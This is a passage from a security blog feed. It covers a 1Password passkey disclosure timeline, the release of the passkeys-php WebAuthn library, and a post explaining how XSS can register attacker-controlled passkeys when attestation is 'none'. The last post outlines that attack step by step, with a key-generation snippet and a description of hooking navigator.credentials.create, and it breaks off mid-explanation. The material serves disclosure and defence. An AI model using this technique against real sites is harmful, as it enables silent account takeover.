already pulling out ahead of everything else in 2026. Just last week it was <a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io" rel="noreferrer">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They&apos;ve since &#x201C;reached an agreement&#x201D; with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> for more info.</p><p></p><h3 id="disclosure-and-closing">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn&apos;t discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href="https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&amp;ref=scotthelme.ghost.io" rel="noreferrer">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href="https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Bridge Spoof PoC (third-party script): <a href="https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Wrapper override PoC: <a href="https://report-uri-demo.com/passkeys/3/?protected&amp;ref=scotthelme.ghost.io" rel="noreferrer">link</a><br></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP]]></title><description><![CDATA[<p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>]]></description><link>https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/</link><guid isPermaLink="false">6a09db9d197769000166677a</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 20 May 2026 12:16:58 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP"><p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we&#x2019;re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png" class="kg-image" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href="https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id="why-we-built-it">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a href="https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io" rel="noreferrer">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI&apos;s passkeys integration <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href="https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&amp;ref=scotthelme.ghost.io" rel="noreferrer">wrote fixes and submitted them as PRs</a> upstream, but they haven&apos;t been merged. Rather than carry a stack of local patches indefinitely &#x2014; and leave everyone else on the same library exposed &#x2014; we&apos;re shipping the fixes inline and in the open.</p><p></p><h3 id="what-we-fixed">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you&apos;d like, but the summary is below. These were not cosmetic changes; they were the kinds of edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level&#xA0;3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn &#xA7;8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn&apos;t implement it.</li></ul><p></p><h3 id="we-deleted-attestation">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling &#x2014; the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don&apos;t use: browsers and platform authenticators issue attestation: &quot;none&quot; by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it &#x2014; over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: &quot;none&quot;</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: &quot;none&quot;</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP &#x2014; not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn&apos;t the library for you, and we think that&apos;s the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn&apos;t enable them anyway.</p><p></p><h3 id="getting-started">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class="language-php">use ReportUri\Passkeys\WebAuthn;
    $server = new WebAuthn(&apos;My App&apos;, &apos;example.com&apos;);</code></pre><p></p><p>There&apos;s a working registration and login demo in <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">_test/</a> to get you going, and this is currently deployed on the <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That&#x2019;s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>]]></content:encoded></item><item><title><![CDATA[XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None]]></title><description><![CDATA[<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records</p>]]></description><link>https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/</link><guid isPermaLink="false">69fef8df9c3a0c0001b5ea13</guid><category><![CDATA[XSS]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 19 May 2026 12:24:43 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>For an organisation, that means more than &#x201C;someone found XSS&#x201D;. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that&apos;s being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id="introduction">Introduction</h3><p>Before we get started, if you&apos;d like a brief overview of how passkeys work, you can jump over to my <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys 101 blog post</a>, where I explain the basics. I&apos;m going to assume in this blog post that you understand the concept of passkeys, and we&apos;re going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user&apos;s passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user&#x2019;s device or password manager that creates, stores, and uses the private key to prove the user&#x2019;s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id="how-passkey-registration-works">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/register_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos; });</code></pre><pre><code class="language-http">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      &quot;publicKey&quot;: {
        &quot;rp&quot;: {
          &quot;name&quot;: &quot;Report URI&quot;,
          &quot;id&quot;: &quot;report-uri.com&quot;
        },
        &quot;user&quot;: {
          &quot;id&quot;: &quot;Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=&quot;,
          &quot;name&quot;: &quot;jane@example.com&quot;,
          &quot;displayName&quot;: &quot;jane@example.com&quot;
        },
        &quot;challenge&quot;: &quot;kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;pubKeyCredParams&quot;: [
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -8 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -7 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -257 }
        ],
        &quot;timeout&quot;: 60000,
        &quot;authenticatorSelection&quot;: {
          &quot;requireResidentKey&quot;: true,
          &quot;residentKey&quot;: &quot;required&quot;,
          &quot;userVerification&quot;: &quot;required&quot;
        },
        &quot;attestation&quot;: &quot;none&quot;,
        &quot;excludeCredentials&quot;: [
          {
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class="language-js">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user&apos;s account:</p><pre><code class="language-js">const payload = {
        name: nameInput?.value?.trim() || &apos;&apos;,
        password: passwordInput.value,
        id: cred.id,
        rawId: cred.rawId,
        type: cred.type,
        clientDataJSON: cred.response.clientDataJSON,
        attestationObject: cred.response.attestationObject,
    };
    
    const finRes = await fetch(&apos;/passkeys/register_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here&apos;s the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)
    &#x251C;&#x2500; fmt                       &#x2190; attestation format, e.g. &quot;none&quot; / &quot;apple&quot;
    &#x251C;&#x2500; authData                  &#x2190; authenticator data
    &#x2502;  &#x251C;&#x2500; rpIdHash               &#x2190; SHA-256 hash of the RP ID
    &#x2502;  &#x251C;&#x2500; flags                  &#x2190; UP/UV/AT/ED flags, etc.
    &#x2502;  &#x251C;&#x2500; signCount              &#x2190; signature counter
    &#x2502;  &#x2514;&#x2500; attestedCredentialData
    &#x2502;     &#x251C;&#x2500; aaguid              &#x2190; type/model id, not useful for synced passkeys
    &#x2502;     &#x251C;&#x2500; credentialIdLength
    &#x2502;     &#x251C;&#x2500; credentialId        &#x2190; credential is, also surfaced as id/rawId
    &#x2502;     &#x2514;&#x2500; credentialPublicKey &#x2190; COSE-encoded public key
    &#x2514;&#x2500; attStmt                   &#x2190; attestation statement; empty for fmt &quot;none&quot;</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class="language-json">{
        &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
        &quot;name&quot;: &quot;Jane&apos;s MacBook&quot;,
        &quot;pem&quot;: &quot;-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\n-----END PUBLIC KEY-----\n&quot;,
        &quot;counter&quot;: 0,
        &quot;created&quot;: &quot;2026-05-16T14:22:07+00:00&quot;
    }</code></pre><p></p><p></p><h3 id="how-passkey-authentication-works">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/login_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos;, credentials: &apos;same-origin&apos; });</code></pre><pre><code class="language-http">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    {
      &quot;publicKey&quot;: {
        &quot;challenge&quot;: &quot;Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;timeout&quot;: 20000,
        &quot;rpId&quot;: &quot;report-uri.com&quot;,
        &quot;userVerification&quot;: &quot;required&quot;,
        &quot;allowCredentials&quot;: [
          {
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }
    }</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user&apos;s account, <code>jane@example.com</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class="language-js">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class="language-js">const payload = {
        id: assertion.id,
        rawId: assertion.rawId,
        type: assertion.type,
        clientDataJSON: assertion.response.clientDataJSON,
        authenticatorData: assertion.response.authenticatorData,
        signature: assertion.response.signature,
        userHandle: assertion.response.userHandle || &apos;&apos;,
    };
    
    const finRes = await fetch(&apos;/passkeys/login_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        credentials: &apos;same-origin&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><pre><code class="language-json">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Content-Type: application/json
    Cookie: session=...
    
    {
      &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
      &quot;rawId&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==&quot;,
      &quot;type&quot;: &quot;public-key&quot;,
      &quot;clientDataJSON&quot;: &quot;eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9&quot;,
      &quot;authenticatorData&quot;: &quot;SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==&quot;,
      &quot;signature&quot;: &quot;MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m&quot;,
      &quot;userHandle&quot;: &quot;T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=&quot;
    }</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that&apos;s associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id="understanding-attestation">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class="language-json">{
      ...
      &quot;attestation&quot;: &quot;none&quot;,
      ...
    }</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question &apos;what kind of authenticator am I working with&apos;, and it&apos;s answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href="https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io" rel="noreferrer">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it&apos;s just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it&apos;s a genuine authenticator from a particular manufacturer, let&apos;s say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we&apos;re dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class="language-json">&quot;attStmt&quot;: {
      &quot;alg&quot;: -7,                // COSE alg of the signature (e.g. -7 = ES256)
      &quot;sig&quot;: h&apos;3045022100&#x2026;&apos;,    // sig over (authData &#x2016; SHA-256(clientDataJSON))
      &quot;x5c&quot;: [                  // attestation certificate chain, leaf first
        h&apos;308202bd30820&#x2026;&apos;,      // leaf: the authenticator&apos;s attestation cert
        h&apos;30820336308&#x2026;&apos;         // (optional) intermediate CA cert(s)
      ]
    }</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id="convenience">Convenience</h3><p>The trade-off nobody mentions! An authenticator&apos;s ability to cryptographically prove what kind of hardware device it is can&apos;t be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what&apos;s in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn&apos;t see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome&apos;s built-in store... This isn&apos;t an oversight from these companies, it&apos;s a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I&apos;d register a passkey against my online account and save it as &quot;Scott&apos;s Laptop&quot;, and that passkey would forever remain on my laptop, securely stored in the TPM (I&apos;m on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href="https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io" rel="noreferrer">magic smoke</a> got out, I&apos;m in big trouble. I&apos;d now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I&apos;m in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id="synced-passkeys">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that&apos;s the rub... We can&apos;t have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we&apos;re dealing with because the answer to the question &apos;what type of device is this?&apos; will always be &apos;it depends&apos;. There&apos;s no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don&apos;t require it on Report URI, because if we did, the vast majority of our users wouldn&apos;t be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension &#x2014; device attestation vs. synced passkeys &#x2014; is genuinely the crux of this whole blog post.</p><p></p><h3 id="where-it-all-falls-apart">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let&apos;s put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it&apos;s talking to a bona fide Authenticator backed by hardware. Without Attestation we&apos;re just talking to software, we&apos;re talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let&apos;s walk through it:</p><p></p><ol>
    <li>
    <p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>
    </li>
    <li>
    <p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we&apos;re going just going to create a new key pair in JavaScript.</p>
    <pre><code class="language-js">const kp = await crypto.subtle.generateKey(
        { name: &apos;ECDSA&apos;, namedCurve: &apos;P-256&apos; }, true, [&apos;sign&apos;]
    );
    </code></pre>
    </li>
    <li>
    <p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a &apos;real&apos; authenticator.</p>
    </li>
    <li>
    <p>A new passkey has been successfully registered on the user&apos;s account with absolutely <strong>no user interaction required</strong>.</p>
    </li>
    </ol>
    <p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that&apos;s exactly how it works if no other steps are required.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To prove this, I built a few demo pages on the <a href="https://report-uri-demo.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Demo Site</a>, and specifically you want to look at <a href="https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id="xss-is-now-deadly">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we&apos;re running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their 